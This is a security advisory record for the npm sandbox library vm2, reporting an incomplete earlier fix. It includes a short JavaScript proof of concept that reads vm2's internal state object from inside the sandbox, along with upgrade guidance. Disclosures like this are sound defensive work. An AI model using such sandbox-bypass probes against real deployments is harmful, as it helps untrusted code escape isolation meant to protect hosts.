---
id: GHSA-2cm2-m3w5-gp2f
title: vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
summary: vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
severity: medium
cvss: 5.3
cwe:
  - CWE-693
vendor: vm2
product: vm2
ecosystem: npm
affected:
  - vm2 < 3.11.2
patched:
  - vm2 3.11.2
published: '2026-05-08'
updated: '2026-11-05'
sourceUpdated: '2026-11-05T21:42:53Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-2cm2-m3w5-gp2f'
references:
  - url: 'https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f'
  - url: 'https://github.com/patriksimek/vm2/releases/tag/v3.11.2'
  - url: >-
      https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300
  - url: 'https://github.com/advisories/GHSA-2cm2-m3w5-gp2f'
tags:
  - ghsa
  - npm
ingestedAt: '2026-11-05T22:38:31.307Z'
---

## Overview

### Summary

https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.

### Details

It is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
 globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']
`));
```

## Affected packages

- `vm2 < 3.11.2`

## Remediation

Upgrade to a patched release:

- `vm2 3.11.2`